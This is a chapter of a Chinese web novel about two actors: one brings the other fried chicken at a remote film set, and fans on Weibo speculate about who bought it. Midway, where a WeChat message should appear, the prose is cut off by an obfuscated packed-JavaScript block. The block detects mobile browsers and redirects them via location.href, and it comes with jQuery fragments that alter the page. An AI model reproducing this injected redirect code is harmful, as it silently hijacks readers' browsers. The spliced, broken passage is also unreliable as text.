思考了一会,顾听舟还是不太放心地交代了一句:“之前赶航班也没看你这么精神错乱啊,等回去之后还是得找个时间去医院看看。” 威廉有苦难言地点了点头,默默喝了一口手里的咖啡,苦上加苦。 顾听舟这次需要补拍镜头的电视剧是部仙侠剧,导演在取景这一块很有自己独到的见解,除了御剑腾云的小部分镜头不得不在室内绿幕进行棚拍,其他镜头都是湖市的实地取景,剧组还特意花了大手笔在荒山里建了实景,雕梁画栋、曲折回环,倒确实是很有不染尘俗的世外仙人风范。 唯一的缺点就是,片场太偏僻了,想点个外卖都因为距离太远显示无法配送,每次嘴馋想吃点什么都只能把收货地址定在四公里外,然后趁他拍戏的时候让威廉开车出去拿外卖,陶南责留下照看顾听舟。 这地方太偏了,陶南虽然也有驾照,但两人都不放心让她一个人出去,而把顾听舟一个人留在剧组就更不可能了。 剧组的午饭十年如一日的不功不过,然而偏偏在威廉临时离开给他谈代言的这天中午,拍完了戏的顾听舟刷视频刷到了个吃播,一桌子皮脆柔嫩的炸鸡看得他眼都亮了,馋的不行却又碍于傍晚还有自己戏份没法卸妆出门,只好爬上微博发了条动态以表伤心。 结果评论区的粉丝一个个都不当人,嘲笑他吃不到好吃的也就算了,还特别气人地配了图,各种各样的“垃圾食品”或者豪华大餐五花八门,唯一的共同点就是他现在都吃不到。 而与此同时,易淮江也刚刚结束一个代言的广告拍摄,坐在开往酒店的车上时,随手打开微博,刚好看见了顾听舟的新动态,再一看地址,没忍住挑了挑眉,看向了白朝彩:“顾听舟也在湖市?” 白朝彩有些意外:“对。据说是他才杀青的那部电视剧的男三出了事,临时换人顶了,这段时间都在补镜头。” 顿了顿,白朝彩补充道:“不过没关系,你的行程两点结束,我们晚上六点的飞机回海市,只有四个小时的空隙,就算不去探班也不会有什么,等到了酒店你安心补觉就行。” 易淮江垂眸看着手机,指尖微动,听他解释完后点了点头,白朝彩松了口气,但紧接着便见他收起了手机:“不去酒店了。” 白朝彩:“?” 易淮江从后视镜里看向司机:“前面路口右转,先去炸鸡店拿外卖。” 42.炸鸡可乐 【氧化氢】:在拍戏? 顾听舟刚退出微博,微信就弹出了条来自易淮江的新消息,反正闲着无聊,顾听舟打字回他。 【八仙过海鲜粥】:飞升中,勿扰 手机叮咚一声,提着保温袋的易淮江低头打开微信,看着回复的消息挑了挑眉,随即拍了张炸鸡的外卖包装发过去。 【氧化氢】:/图片.jpg 顾听舟原以为这人不会再回,没想到刚放下手机,就听微信提示音又响了声,匪夷所思地重新打开,一眼就认出了照片里的炸鸡外卖包装。 顾听舟:……这人绝对是故意的! 顾听舟本来就馋得不行,刚刚又在微博上被粉丝们各种各样的美食勾了个遍,看得见吃不着反而让肚子里的馋虫更活跃了。 和粉丝们要收着点,不能随便发脾气,可易淮江那就不一样了。 顾听舟忿忿点开自己收藏的表情包,摩拳擦掌地翻到一组专门用来连环轰炸的表情,刚发出第一张,就听见自己房间的门铃非常不凑巧地响了起来。 大中午的会有谁来找他?他今天中午也没有别的戏份啊。顾听舟忍不住皱了皱眉,放下手机往门口走,边走边叫了声:“威廉?” 这地方太偏,只有这一家民宿,房门上没有猫眼,顾听舟喊了声却没有回应,心脏忽地一沉,探向门锁的手也停在了半空,正要收回,可下一秒,手机却紧接着停下的门铃响了起来。 顾听舟额角跳了跳,目光落在门口,犹豫了两秒还是接起了电话:“易淮江。” 门口忽然传来三下不轻不重的叩门声,可仔细听,却又仿佛是在自己耳边响起的。 顾听舟诧异地抬眸看了眼房门,又看了眼接通电话后黑下去的手机屏幕,他听错了?易淮江那边的动静怎么和他门外的人有点像? 易淮江看了眼手里的打包得严严实实的炸鸡,抬眼看向半天都没动静的大门:“开门,不然你的炸鸡就真的要凉了。” 炸鸡? 开门? 什么鬼…… 顾听舟懵了两秒,但动作显然比意识还快,没等他反应过来,手已经按在了门把手上。 “咔哒”一声,房门应声打开。顾听舟看着门外出乎意料的身影,眼睛倏然一亮。 晚春初秋时节的气温是最舒服的,顾听舟傍晚还有戏份,怕弄脏便脱了最外面那层大袖衫,只穿着修身的中衣在房间里休息。得益于剧组精致用心的服化道,他身上穿着的衣服就算没了外袍也只是少了几分仙气飘飘,多了几分闯荡江湖的少年侠气。 易淮江显然也没料到开门后看到的会是这样的场景。顾听舟脸上还带着妆,长发高束,一派的清冷孤高,身上那套刺绣精致的古装衬得他身量出挑,腰细腿长,格外的引人瞩目。 偏偏那双熠熠生辉的琉璃眼又直直朝他望来,易淮江难得晃了下神,下一秒,手里的炸鸡就被人手疾眼快地劫走了。 “送炸鸡就送炸鸡,还来什么人啊。”顾听舟深深吸了口独属于炸物的暖香,本就闪亮亮的眼睛这下就差没冒绿光了,捧着炸鸡转身就往房间里走,“记得把门带上。” 易淮江在门口沉默了两秒,看着某人翩然离去的背影,最终还是抬脚跟了进去,顺手关了门。 等转过玄关处的拐角,顾听舟已经动作飞快地带上了手套,余光瞥见某道熟悉的身影,看在炸鸡的份上连语气都好了不止一点:“你要不先找张椅子坐?” 他手里正拿着根炸得喷香的鸡腿,犹豫了两秒后又往易淮江那边挪了两公分:“或者……你也来两口?” 易淮江:“……” 易淮江:“我吃过了。” “吃过就好吃过就好。” 易淮江一日三餐都吃得标准,也没见他吃过什么夜宵下午茶,这意思就是不会和他抢炸鸡了。 顾听舟安心地咬了口手里的鸡腿,被烫得“嘶嘶”抽气,还不忘给桌上的炸鸡外卖拍了张照甩上微博。 [@顾听舟Z:大家最近都小心一点吧,刚刚出门时不知道怎么会突然掉落一份炸鸡,还好我手快接住了,接都接了那我也只好吃了/炸鸡外卖图片.jpg] 不到十分钟前这人还在评论区被网友们发的美食图片勾得不行,结果一转眼就从天而降一份炸鸡?原先看热闹的网友们瞬间叛逆了。 [@布叮铃铃铃:人没事就好,香坏了吧] [@糖炒栗子:一路走来不容易,其中的麻辣鲜香只有你一个人知道(大哭)] [@momo:好家伙,一点苦也不吃啊(dog)//@糖炒栗子:一路走……] [@扁桃体永不发言:吃什么炸鸡都不准吃呜呜呜,我口腔溃疡还没好你让我看这个] [@185内向社恐纯情蟑螂:你这样我可要放大招了@威威威廉,举报有人偷吃炸鸡!!] [@Y同学:太有压迫感了,嘴里一直在流冷汗] [@江舟SZD:已知舟舟在湖市,威廉出差去了江市,易哥今天路透也在湖市,那么问题来了,这份炸鸡是谁买的] [@观江独上轻舟:谁买的好难猜噢~~//@江舟SZD:已知舟舟在……] [@你怎么知道我CP领证了:姐妹你ID不对劲(黄心)(黄心)//@观江独上轻舟:谁买的……] 评论区的风向瞬息万变,刚刚还在谴责顾听舟言行不一偷吃炸鸡,没几分钟就被江舟的CP粉们带歪了楼。 毕竟顾听舟上一条微博刚在评论区回复过粉丝威廉临时有事出差了,自己下午有戏没法出门取外卖,结果没多久就秀了份热气腾腾的炸鸡。 再结合CP粉们自带的八百倍显微镜和脑补能力,几百楼叠下来居然还真猜了个大差不差。 顾听舟一边惬意地啃着炸鸡一边刷评论,自然也刷到了这群CP粉们见微知著的探案推理,简单看了几十楼后,默默退出了微博。 几百条楼中楼,就没几条能看的,一个比一个人心/黄黄。 但总体来看,评论区的互动还是很和谐的,顾听舟看了眼桌上金黄酥脆的炸鸡,干脆放下了手机专注干饭。 但他没想到的是,这小半个月来他和易淮江各忙各的,把前段时间嗑糖嗑得不亦乐乎的CP粉胃口都养大了,眼下好不容易有了点疑似新糖的线索,CP粉们自然不肯放过,没多久就在不知不觉中把词条送进了热搜。营销号和各家狗仔也闻风而动,尤其是在湖市蹲守的一小撮,纷纷翻起了今天拍到的新料,试图蹭一波热度。 他坐在桌前吃得正开心,坐在沙发上的易淮江手里的手机却忽然响了声,低头一看,是威廉给他发的微信 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16975309|191342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 两人的聊天记录少得可怜,今天下午两点半才加上的好友,拢共就四五句对话。 【威廉:易老师,你找我要舟舟的地址和房间号就是为了给他送炸鸡?】 【威廉:你不是有他微信吗?】 威廉在江市看着微博后台层出不穷的@提示,当即就联想到了下午一反常态加他微信的易淮江。 但消息一发出去,威廉就想起了两人不太妙的关系,正准备撤回,却见对面发了个“嗯”。 威廉点击撤回的手默默收了回来,看着那个“嗯”,脑子里千回百转。 已知,易淮江和顾听舟的关系不好,到目前为止易淮江的剧本还没有着落,还需要顾听舟配合营业。而易淮江现在不仅主动找白哥要了他微信问他顾听舟的位置,还专门腾时间给顾听舟送了份炸鸡。 威廉琢磨了一下,想通了。易影帝这显然是在求和啊!估计是为了缓和两人的关系,方便之后的营业,所以打算从现实生活下手,改善相处状态。 威廉越想越觉得有道理,原本打算给顾听舟发消息的手也跟着顿了顿,然后转头重新打开了和易淮江的聊天界面。 房间里弥漫着炸鸡和辣椒粉的香气,顾听舟吃了没多久又开了罐可乐,吃得不亦乐乎。 易淮江刚退出微信,一转眼又叮叮咚咚地响了一串提示音,打开一看,还是威廉,但看了眼内容,易淮江的眉心却缓缓皱了起来。 【威廉:舟舟有胃病,这段日子剧组的盒饭也都很清淡,不太适合突然吃太多油腻刺激的】 【威廉:易老师你要是还在他边上的话帮我看着点他,那盒炸鸡最好是只吃一半,再多他胃可能会受不了】 【威廉:易老师辛苦了!】 易淮江把几条消息看了一遍,回了个“谢谢”后便收起了手机,起身走到了顾听舟面前。 顾听舟刚放下手里的可乐,没等抬头,桌前就飘来一片黑压压的阴影,想也知道是谁,他下意识把炸鸡盒往自己面前拽了拽,但另一只骨节分明的手却先一步按住了纸盒。 顾听舟一抬眼,就撞进了他似笑非笑的眼底。 易淮江问:“你不是说你没胃病?” 顾听舟噎了下,梗着脖子否认:“我本来就没……” 易淮江挑了挑眉,把手机屏幕转向他,威廉熟悉的头像和一条接一条的殷切叮嘱霎时映入眼帘,顾听舟反驳的话都没等说完就被人截了胡。 “没什么?” 顾听舟对自己那点毛病显然很有把握:“本来就没什么大问题,威廉胡说八道你竟然还信。” 易淮江点点头:“那就是有问题。”说着便收走了剩下的半份炸鸡。 顾听舟气得跟着起身要抢:“我都吃过了你还收?丢了多浪费!” “谁说要丢了?”易淮江仗着四厘米的身高优势没让他抢到,另一只手动作间下意识护在了他腰侧,“浪费不了。” 顾听舟不信:“屁,这就剩一半了,长脑子地都知道被人吃过,谁还吃?” “我晚上六点的飞机。”易淮江挑眉,“刚好当晚饭。” 话音刚落,顾听舟惊得脚下一个趔趄,踩到了长度恰好及地的衣摆,晃了两下直接朝前扑去,腰间不知何时环住他的胳膊骤然收紧,不偏不倚地摔进了易淮江怀里。